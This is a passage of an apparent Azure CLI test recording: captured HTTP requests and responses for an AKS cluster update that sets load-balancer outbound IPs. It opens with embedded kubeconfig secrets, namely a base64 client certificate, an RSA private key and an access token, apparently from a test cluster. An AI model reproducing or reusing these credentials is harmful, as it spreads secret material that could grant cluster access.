    client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUUvRENDQXVTZ0F3SUJBZ0lRUWZWQXV2MTBONUszRG9ZL1pvL0QyakFOQmdrcWhraUc5dzBCQVFzRkFEQU4KTVFzd0NRWURWUVFERXdKallUQWVGdzB5TURBNU1USXlNekV3TXpKYUZ3MHlNakE1TVRJeU16SXdNekphTURBeApGekFWQmdOVkJBb1REbk41YzNSbGJUcHRZWE4wWlhKek1SVXdFd1lEVlFRREV3eHRZWE4wWlhKamJHbGxiblF3CmdnSWlNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0SUNEd0F3Z2dJS0FvSUNBUUNrQmc3Q1FyZVVXanVLS2xZWTlmaDMKbUY2aGU0QzVUODg0M2loMWVVRW54ek5YM3Jsc0Y3cFRkTENRQVRjOGs1eGhvSS9UOUh5ODA0ZDRBQmhBZVZpawpXUFFIWFVFL3ZEQlFYSVpIZ29uVkdMUmpTdEhyd210Ujl0QWIwQy9BSTdBWXRKQkNNSjlFQlFJc0JlUm8vd1JPClJaZ2JDWXBIdWFQeDVpZ3gyZllLQVlza1ZxbEpoeXFSa2lqNnZkT0NQRkFQZjlwM2x0SXZMT1lvcEFiUHBvaVMKSlVvZ1ZNemtoTUtjL1pXbW5MMHI5OEVEM2ZWQ2lWcjVlNnFhenNnZ3QyaDdvd2lybmFOamdldGtJZ01OOEgrTwpNYlpBTW1XTEd5QTBmWkl6MVBBQ3V1ZXVxNjByWUREdUtYTkZJL0hTWnJaSlVkand4aW5XS2l2bDV1clN6UVNGCittMW1UczJGcFpudGordWJhNTF2V0xtYzVBOXBHOHBtVUNHelhUMGJoTGFkbTA3RzhLTHkwZXJFbkZLSHF2ekQKYUVKQSszTDFGVHNob21rbWpzUE1YYlZPNFRYbGhPWlQ3Y0lFV3BxZU1JRHlZa0ZvYWVWUEJObXBSb2puMFVhVgpLV1BYdGNnSUgySE9ldVd5SVhhd2s3enBUZHk0T1UvR1RMMkx5WW5IZE9hQm1LZXJGcGx4Tm1ySWNhYXV5NE5ICnZoU21WZFZKL2h5VWFXbi94ZWJxZDl6em9Xa3M2Y016UFUzQ1BMYzREeUZVY0lidlNGYWV2cW82MEhEUzhEdmUKSmtQN1I2clBRbTZNMnVoSjROZFg2L0J1TzFUTCtzSmN2SjNhaU0waDQ3V0VGMVdSL0RZYVBKR3V2Y3h2SWdMQgo0UTR4djR6Vkdvb09wdW51TkN2QWF3SURBUUFCb3pVd016QU9CZ05WSFE4QkFmOEVCQU1DQmFBd0V3WURWUjBsCkJBd3dDZ1lJS3dZQkJRVUhBd0l3REFZRFZSMFRBUUgvQkFJd0FEQU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FnRUEKbUp2Tlg5L2VIczRrSnpWdjZsQTNRVUdBVThPRmlqdDFvcVJGRWtRdk84MEgvdVh0QURNeUxqOCtuNXRsNk9jbQptL1I3eGloNkF6MTlXTzdBb0VsbURCc0pCa1RsaURIVUtvZk13aGZKVitSUlhnR0x5cEpRNXVpN3NaTFJLUmNECkh4bDQ1TmI3b3pUMWVlc212K0kzQVZEekUzaC9OaXVNbXlIZHFHelV4cmd0SUV5RFFPZ0FQaG1nSzVncjVTa2MKemM2OFV4M3Z4c2pFVzI1UUdKbGV0S0ZZUXpKcTByWHExVEMzblVpYThvM3VQbFZQWEFmamRPbkh5dEpYQVJ4MQpZeW1KVVNralNFaEd2NjM5THNNL2hYaThIWVBMMUozSjRwUm9RR3JxSE1GR1lhRUMyZXFGc1d5eUtsVEkxZkxFCkR5SWxVZCt0Z0M0TVhuTWdMQ3d0NkphSjJkYkRPdjhhc1VEVkVZV1lYS0ZjZGc2OUR0TzJMbURJQVZHVjRSN2QKNDdMbWlxWlJPQlZEWFpCaE1RSHQ5RmpDVHhweXU1RnJPaWJ1b0RDZ2lYWGxWYW41NnVHSml5Nkk1WUF1VDFUMgp2UVZsYzVHVmNwQkk5YUdEUzh4bDVESVBEY21PSGpJdkNpOUl2cyt5V0xlSFhWLzhNUktvR2F2dGRyV241VllGCk9rVGFHTEJwWnMrZDF6QkxiVWc3SnNJZk5XbUI1S1k2a0hEeEw4WUVJTmFrVU1Ib3JaWDNPQmFuVW1KMENhSWUKZGZOMHVpZ1d5Y0IveG5NYmZncWxlQkVCNk95d3IwOVB0Myt6cUVlOW1VL0tEb3FtRVFHZ2xLSHVKYzdOVjEyNQpJZm1yaHUydDNjMWFLR0tCNzBxb0JNWG9TWjAwMnR3NmlvS3NKQmd5N3FVPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
    client-key-data: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlKSndJQkFBS0NBZ0VBcEFZT3drSzNsRm83aWlwV0dQWDRkNWhlb1h1QXVVL1BPTjRvZFhsQko4Y3pWOTY1CmJCZTZVM1N3a0FFM1BKT2NZYUNQMC9SOHZOT0hlQUFZUUhsWXBGajBCMTFCUDd3d1VGeUdSNEtKMVJpMFkwclIKNjhKclVmYlFHOUF2d0NPd0dMU1FRakNmUkFVQ0xBWGthUDhFVGtXWUd3bUtSN21qOGVZb01kbjJDZ0dMSkZhcApTWWNxa1pJbytyM1RnanhRRDMvYWQ1YlNMeXptS0tRR3o2YUlraVZLSUZUTTVJVENuUDJWcHB5OUsvZkJBOTMxClFvbGErWHVxbXM3SUlMZG9lNk1JcTUyalk0SHJaQ0lERGZCL2pqRzJRREpsaXhzZ05IMlNNOVR3QXJybnJxdXQKSzJBdzdpbHpSU1B4MG1hMlNWSFk4TVlwMWlvcjVlYnEwczBFaGZwdFprN05oYVdaN1kvcm0ydWRiMWk1bk9RUAphUnZLWmxBaHMxMDlHNFMyblp0T3h2Q2k4dEhxeEp4U2g2cjh3MmhDUVB0eTlSVTdJYUpwSm83RHpGMjFUdUUxCjVZVG1VKzNDQkZxYW5qQ0E4bUpCYUdubFR3VFpxVWFJNTlGR2xTbGoxN1hJQ0I5aHpucmxzaUYyc0pPODZVM2MKdURsUHhreTlpOG1KeDNUbWdaaW5xeGFaY1RacXlIR21yc3VEUjc0VXBsWFZTZjRjbEdscC84WG02bmZjODZGcApMT25ETXoxTndqeTNPQThoVkhDRzcwaFducjZxT3RCdzB2QTczaVpEKzBlcXowSnVqTnJvU2VEWFYrdndianRVCnkvckNYTHlkMm9qTkllTzFoQmRWa2Z3MkdqeVJycjNNYnlJQ3dlRU9NYitNMVJxS0RxYnA3alFyd0dzQ0F3RUEKQVFLQ0FnQXdzUGVxcFdHWDhaMWhLNlk1YkxOZzFXT3FMbDZOSkdzUXA2cDlEUXpSZ1NuMXVORjBqQ3FzNGFRVQphN2Y1REp6TXdueFA0SEV6SU54RFBFdjJ2ODhYb3F4Mmp6RnllU3dpZndVQnIzZTVRY2N5L3FBSWk4T09KbVdyCkRBZFEwNGRRSGpJQTVDd3paZ1U2Q2xtKzdZMWFxd0EzYm9LVlBqK3o3SzRiOW1jNm16Q3lEZVBkUnZuVkV2MkYKU2RyQys2S01wMWkwVFpxQmxLT1NodmJhcDhZOUZFTElERVJ5eGhKN3hpK3BzVGZiR0lZODNxUVRKM0ZSUkd2bAozdUs4QzVaQnRhazZRT2FqQUl0ZlExV0N5dFVpNGhFSFI2NnJOOWM4bmRaTCtyZHhLQWprNm1QU3o1Qlc4d2tjCkNrcWNPZzk4L29ZWEc4eUpuaVUvNzJmZ1FpcElIZUJHZTEyUGVnVWk4WjdrK2Q1d2lPYkh5aU5wTTlBZlE0VWMKRGxjVk9mZGZFU2tvUlFLcXRNWU1hQ1VLWVZTRldITmRUU3NJa213RWhFSjhhaTRvNTFRc2Y3TzJCTWhjU2dCcwphbnhpTlVPVVRDbE54bVhMM0F4ZzlUV3k0N2lRcS9kSm5vUE4yVzQ4c1pQNGtMYU1DM1p5MGVRanhUWnZLV1RYCjhIejYrRU1RTklWeGpEMHlFL1hWZXRMOHZ3WDQrdis4OHlEMWxsQS9RSUFtNWFFeGFxclBteWdLUDVwQjBiZlYKdUR2dHlqTEtPRUZXcFdLazVwNm9rWGY1aDBydHQ0Sm1hSmFTaU9iS0RzNStqOEk2TDlGSW1yc3NWbTAvSExYbgpGdzlZRFdPVTZrSEo0MDBMQ2tzK29GNUhWTkZPWXB6d3oycElKZm1OdWx5RjY0ZkRBUUtDQVFFQXk1UllJalFMCjlBeGQ2bVpsN29LRkM2ZUZ3d09uWGl4RDl2UVNjbWN4b1AxeUcxR3FMMGttUmIwTGFRTG93ek5YUm1CMWI2RFAKSjh6U0todFZDVTZKSEs2L3B0ZVBoYnpScmxwWHI3WHpCR3ZFVVR5ZjZsOEczZGlqajhOT0FCbzVxdElsZmIySgpmQVRNNzRGYjQvTzI1eXFFRzY5LzV6VUx2Y2RKa29NZlNydExIZTcwOW15RXluVkZwWHZIME9SUXBaK21UYnIyCitsTVNYMEoyR3FtL2tILzBXL0VPdFBPQjgxN1dGYmRmZ3JpVDZPSHQ5SG9tekJJbFl2RkMwMU9VOVdGTFNaejYKQzRPSkdCZm5GVjRUYVV1MEZkTWpJb3RUNGJWUERrVFRia1Z1MWFUMXpwZ1NqelJvT1B1Sys4ejM1Y0d4RGp1NApKYmJJR00wNy84cXU2d0tDQVFFQXprSkE0UURDVWp6RW1ZK3puZUN1NlhURlFlMHl0NXoyU1BaRFRTUTJmQ1R6Cml1OEc2T3RnUW9pSFF0aHNhVDM4TzNQelcyU1g0MHFCdTJaRmQwUDdsZ1FNYURrdUJ4UWdDbDNXNjhFay83Yi8KSlh4S1NQbUl6VzR5NjBkeXhTUHVSWExFRFNiUi9wM3FacWhhQlZ6T01yUXV5ME9VczlFNFZKQnJpcW0yUGIrUgp6aW9taXlVWENrOTRaTUxxYlNnb0M3a21KMTVwRkFBc3BOUUFmbUZUcFFCbzdBV2JWZm8zS2hnWEFrZElrTktsCmtUNHkxWEZvR2VydGRxWkdodFB0OFpQOHRQOTJTNmJUMThGVDRnRURISlJUZFBLY29DTjhyV3REdzlIcC94N3EKdms0eCtXUlAzN1NPckI4enFrejFaSkFvbEFMeG04KzlaNHFBTE0zVWdRS0NBUUIwdFRlTmJDOEtHdWpnVHhIUwptVXF5c3JneFkyL1l3aUc0ZXBYMHRnb3lrL21OaGRTOXhQN0c3aWlUYkJLS2pXMVVNRXBDMDNyUEExSGN4OHlKClNGZThkTVgwWFJHdmh0N2lTSEtLamhHaWtERjhyUGUwZ2dQS3ZMNlAxVlJySkoyNHV6NjVCaWJDVFhJN1AvcXgKQk8vdk9HV0NCYXVhbmNOOGFicFkzd2phYStNVlp2OVNJa1pDVnRhMWx1K25acXlCTnJROVRaajNTeFoyUEFDLwpLbDlpOUtmZTZhUVh3cDNXS3FFcTAvUlNXWVNaOXFQWEN3d2c0NnBCUGJTa3QvN21hWCtpMVBaWUVYRlB1YXhGCmlLZ3lMaTh3YjlsdG5WaGFSZm5yWVRPZ3ZQZGNUWFNKbW83UlFDY2J1OEVpdDQvS1RLODNUSzgyRjhKQXphKysKNWJBL0FvSUJBREVPT3VZSXl5N0oreXhXckM2WmVLQlh3RzZjbnBwaS80Ujg1YWJjUFFVcnVLekxpc1lzN1JrRgo1YjIxUVp1S1BZcGFXbi9iSGZEV0VLTGtnUk1MblRPaHhOMm84OVNGS2RXdFdlZDZhWFZVTGJ6Wm9jVlhhLzBICi81NUx3UFU0Ulh4SS9tM3VWTFdORTJuVkVvd0I5WnpEay9tT0dqam1RdEtDQXNIWStWb1lUUEpPdmhvTCtUM2YKaHMvWU4rODhSTUg5Q0NFRzZGRDBkYW5DTGxmZ2lBZFBZS1Q1OUdidmV0MU5HM1BVUm1NRFpwTnp5cDFQT3FZbgpaTkQ2WFAzR08rcGYreE9GU3JwVmRENzFZU0Q0Z3FmeWN5TDJiTi85Y0xMQ056ekVtVFd2UWI5L1U0MXdHVHNvCmMySm1qV0FzcTVSK1lOaExGdkdxNSs1UFY0clFiWUVDZ2dFQU5RRzJadjhYT2ExK1U4Z3Z3UWhlNDJ4akxPMnQKMUdyRnp0RjRXRDBDTTIvdi9QeTA2eHh3R0F5aWRKbkYvM3ZNUlk4cWtjcmtIRDZTSjBlSE5zTVlYL0JSN1NEZApoZzgrdDN1SXRPTzdrSGdSbTJXOWttRjE5dkgrQnNxcVJPaEdYTzhYOERYVmpna1Z2SWVMMVNLc3l0bks5UnVlClA5QXVpU2tNQWxrQnI4anEvWDYvYmJPWmZybnVpYXlNTFJZdXNUdnRoUXpMRGZldDhkN09RcFAzOVNsWDVHMEsKZEdLNlNpRjlwMlA1VDNpSnVSK1VLTGt0YWljQTVEVlFBKzdSTHJVRHVxeVdLd0ZNMUh1RlN1YXhlbmRBUXhjMQp3ZWcxaXJkNXI3OE5HN2NyeFgxRmRkemZkb2lpL0l2dmdSb09iaTZLaWNabExaTXJUdjRpNGFlUmFBPT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0K
    token: 3066c9c154214e009b0f5a4a22dd4ad382546f399b4b383f3859dccd6fc4199d3c733cfe9a983193b5b54f532648c622b5b2909d40a65222c24cb086dce63852
\\\"\\\n \\n }\\n ]\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '12924'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:24:52 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n x-ms-ratelimit-remaining-subscription-writes:\n - '1199'\n status:\n code: 200\n message: OK\n- request:\n body: null\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks update\n Connection:\n - keep-alive\n ParameterSetName:\n - -g -n --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: GET\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\"type\\\"\\\n : \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\": {\\n \\\n \\ \\\"provisioningState\\\": \\\"Succeeded\\\",\\n \\\"kubernetesVersion\\\": \\\"1.16.13\\\"\\\n ,\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\"\\\n ,\\n \\\"agentPoolProfiles\\\": [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\n \\ \\\"count\\\": 1,\\n \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n \\\"osDiskSizeGB\\\"\\\n : 128,\\n \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"\\\n type\\\": \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Succeeded\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\"osType\\\"\\\n : \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\n \\\n \\ }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"azureuser\\\"\\\n ,\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\"keyData\\\": \\\"\\\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n \\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\": true,\\n\\\n \\ \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\": \\\"MC_clitest000001_cliakstest000001_westus2\\\"\\\n ,\\n \\\"enableRBAC\\\": true,\\n \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\"\\\n : \\\"kubenet\\\",\\n \\\"loadBalancerSku\\\": \\\"Standard\\\",\\n \\\"loadBalancerProfile\\\"\\\n : {\\n \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\"\\\n id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ]\\n },\\n \\\"effectiveOutboundIPs\\\": [\\n {\\n\\\n \\ \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ],\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"idleTimeoutInMinutes\\\"\\\n : 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n \\\"serviceCidr\\\": \\\"\\\n 10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\",\\n \\\"dockerBridgeCidr\\\"\\\n : \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"loadBalancer\\\"\\n },\\n \\\"\\\n maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"name\\\": \\\"Basic\\\",\\n \\\"tier\\\"\\\n : \\\"Free\\\"\\n }\\n }\"\n headers:\n cache-control:\n - no-cache\n content-length:\n - '3031'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 2020 23:24:53 GMT\n expires:\n - '-1'\n pragma:\n - no-cache\n server:\n - nginx\n strict-transport-security:\n - max-age=31536000; includeSubDomains\n transfer-encoding:\n - chunked\n vary:\n - Accept-Encoding\n x-content-type-options:\n - nosniff\n status:\n code: 200\n message: OK\n- request:\n body: '{\"location\": \"westus2\", \"properties\": {\"kubernetesVersion\": \"1.16.13\",\n \"dnsPrefix\": \"cliaksdns000004\", \"agentPoolProfiles\": [{\"count\": 1, \"vmSize\":\n \"Standard_DS2_v2\", \"osDiskSizeGB\": 128, \"osDiskType\": \"Managed\", \"maxPods\":\n 110, \"osType\": \"Linux\", \"type\": \"VirtualMachineScaleSets\", \"mode\": \"System\",\n \"orchestratorVersion\": \"1.16.13\", \"enableNodePublicIP\": false, \"nodeLabels\":\n {}, \"name\": \"nodepool1\"}], \"linuxProfile\": {\"adminUsername\": \"azureuser\", \"ssh\":\n {\"publicKeys\": [{\"keyData\": \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\n test@example.com\\n\"}]}}, \"servicePrincipalProfile\": {\"clientId\": \"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\"},\n \"addonProfiles\": {\"kubedashboard\": {\"enabled\": true}}, \"nodeResourceGroup\":\n \"MC_clitest000001_cliakstest000001_westus2\", \"enableRBAC\": true, \"networkProfile\":\n {\"networkPlugin\": \"kubenet\", \"podCidr\": \"10.244.0.0/16\", \"serviceCidr\": \"10.0.0.0/16\",\n \"dnsServiceIP\": \"10.0.0.10\", \"dockerBridgeCidr\": \"172.17.0.1/16\", \"outboundType\":\n \"loadBalancer\", \"loadBalancerSku\": \"Standard\", \"loadBalancerProfile\": {\"outboundIPs\":\n {\"publicIPs\": [{\"id\": \"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\"},\n {\"id\": \"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003\"}]},\n \"effectiveOutboundIPs\": [{\"id\": \"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\"}],\n \"allocatedOutboundPorts\": 0, \"idleTimeoutInMinutes\": 30}}}, \"sku\": {\"name\":\n \"Basic\", \"tier\": \"Free\"}}'\n headers:\n Accept:\n - application/json\n Accept-Encoding:\n - gzip, deflate\n CommandName:\n - aks update\n Connection:\n - keep-alive\n Content-Length:\n - '2359'\n Content-Type:\n - application/json; charset=utf-8\n ParameterSetName:\n - -g -n --load-balancer-outbound-ips\n User-Agent:\n - python/3.7.4 (Darwin-19.4.0-x86_64-i386-64bit) msrest/0.6.18 msrest_azure/0.6.3\n azure-mgmt-containerservice/9.4.0 Azure-SDK-For-Python AZURECLI/2.11.1\n accept-language:\n - en-US\n method: PUT\n uri: https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001?api-version=2020-09-01\n response:\n body:\n string: \"{\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourcegroups/clitest000001/providers/Microsoft.ContainerService/managedClusters/cliakstest000001\\\"\\\n ,\\n \\\"location\\\": \\\"westus2\\\",\\n \\\"name\\\": \\\"cliakstest000001\\\",\\n \\\"type\\\"\\\n : \\\"Microsoft.ContainerService/ManagedClusters\\\",\\n \\\"properties\\\": {\\n \\\n \\ \\\"provisioningState\\\": \\\"Updating\\\",\\n \\\"kubernetesVersion\\\": \\\"1.16.13\\\"\\\n ,\\n \\\"dnsPrefix\\\": \\\"cliaksdns000004\\\",\\n \\\"fqdn\\\": \\\"cliaksdns000004-bd1ec6bc.hcp.westus2.azmk8s.io\\\"\\\n ,\\n \\\"agentPoolProfiles\\\": [\\n {\\n \\\"name\\\": \\\"nodepool1\\\",\\n \\\n \\ \\\"count\\\": 1,\\n \\\"vmSize\\\": \\\"Standard_DS2_v2\\\",\\n \\\"osDiskSizeGB\\\"\\\n : 128,\\n \\\"osDiskType\\\": \\\"Managed\\\",\\n \\\"maxPods\\\": 110,\\n \\\"\\\n type\\\": \\\"VirtualMachineScaleSets\\\",\\n \\\"provisioningState\\\": \\\"Updating\\\"\\\n ,\\n \\\"orchestratorVersion\\\": \\\"1.16.13\\\",\\n \\\"enableNodePublicIP\\\"\\\n : false,\\n \\\"nodeLabels\\\": {},\\n \\\"mode\\\": \\\"System\\\",\\n \\\"osType\\\"\\\n : \\\"Linux\\\",\\n \\\"nodeImageVersion\\\": \\\"AKSUbuntu-1604-2020.08.19\\\"\\n \\\n \\ }\\n ],\\n \\\"linuxProfile\\\": {\\n \\\"adminUsername\\\": \\\"azureuser\\\"\\\n ,\\n \\\"ssh\\\": {\\n \\\"publicKeys\\\": [\\n {\\n \\\"keyData\\\": \\\"\\\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbIg1guRHbI0lV11wWDt1r2cUdcNd27CJsg+SfgC7miZeubtwUhbsPdhMQsfDyhOWHq1+ZL0M+nJZV63d/1dhmhtgyOqejUwrPlzKhydsbrsdUor+JmNJDdW01v7BXHyuymT8G4s09jCasNOwiufbP/qp72ruu0bIA1nySsvlf9pCQAuFkAnVnf/rFhUlOkhtRpwcq8SUNY2zRHR/EKb/4NWY1JzR4sa3q2fWIJdrrX0DvLoa5g9bIEd4Df79ba7v+yiUBOS0zT2ll+z4g9izHK3EO5d8hL4jYxcjKs+wcslSYRWrascfscLgMlMGh0CdKeNTDjHpGPncaf3Z+FwwwjWeuiNBxv7bJo13/8B/098KlVDl4GZqsoBCEjPyJfV6hO0y/LkRGkk7oHWKgeWAfKtfLItRp00eZ4fcJNK9kCaSMmEugoZWcI7NGbZXzqFWqbpRI7NcDP9+WIQ+i9U5vqWsqd/zng4kbuAJ6UuKqIzB0upYrLShfQE3SAck8oaLhJqqq56VfDuASNpJKidV+zq27HfSBmbXnkR/5AK337dc3MXKJypoK/QPMLKUAP5XLPbs+NddJQV7EZXd29DLgp+fRIg3edpKdO7ZErWhv7d+3Kws+e1Y+ypmR2WIVSwVyBEUfgv2C8Ts9gnTF4pNcEY/S2aBicz5Ew2+jdyGNQQ==\\\n \\ test@example.com\\\\n\\\"\\n }\\n ]\\n }\\n },\\n \\\"servicePrincipalProfile\\\"\\\n : {\\n \\\"clientId\\\": \\\"d1173eb8-7ef3-4844-bc8b-92b7aec4f18f\\\"\\n },\\n \\\n \\ \\\"addonProfiles\\\": {\\n \\\"kubedashboard\\\": {\\n \\\"enabled\\\": true,\\n\\\n \\ \\\"config\\\": null\\n }\\n },\\n \\\"nodeResourceGroup\\\": \\\"MC_clitest000001_cliakstest000001_westus2\\\"\\\n ,\\n \\\"enableRBAC\\\": true,\\n \\\"networkProfile\\\": {\\n \\\"networkPlugin\\\"\\\n : \\\"kubenet\\\",\\n \\\"loadBalancerSku\\\": \\\"Standard\\\",\\n \\\"loadBalancerProfile\\\"\\\n : {\\n \\\"outboundIPs\\\": {\\n \\\"publicIPs\\\": [\\n {\\n \\\"\\\n id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n },\\n {\\n \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip2000003\\\"\\\n \\n }\\n ]\\n },\\n \\\"effectiveOutboundIPs\\\": [\\n {\\n\\\n \\ \\\"id\\\": \\\"/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/clitest000001/providers/Microsoft.Network/publicIPAddresses/cliaksslbip1000002\\\"\\\n \\n }\\n ],\\n \\\"allocatedOutboundPorts\\\": 0,\\n \\\"idleTimeoutInMinutes\\\"\\\n : 30\\n },\\n \\\"podCidr\\\": \\\"10.244.0.0/16\\\",\\n \\\"serviceCidr\\\": \\\"\\\n 10.0.0.0/16\\\",\\n \\\"dnsServiceIP\\\": \\\"10.0.0.10\\\",\\n \\\"dockerBridgeCidr\\\"\\\n : \\\"172.17.0.1/16\\\",\\n \\\"outboundType\\\": \\\"loadBalancer\\\"\\n },\\n \\\"\\\n maxAgentPools\\\": 10\\n },\\n \\\"sku\\\": {\\n \\\"name\\\": \\\"Basic\\\",\\n \\\"tier\\\"\\\n : \\\"Free\\\"\\n }\\n }\"\n headers:\n azure-asyncoperation:\n - https://management.azure.com/subscriptions/00000000-0000-0000-0000-000000000000/providers/Microsoft.ContainerService/locations/westus2/operations/e7fb6f6e-549e-49fc-bc4b-acad8206dc87?api-version=2016-03-30\n cache-control:\n - no-cache\n content-length:\n - '3212'\n content-type:\n - application/json\n date:\n - Sat, 12 Sep 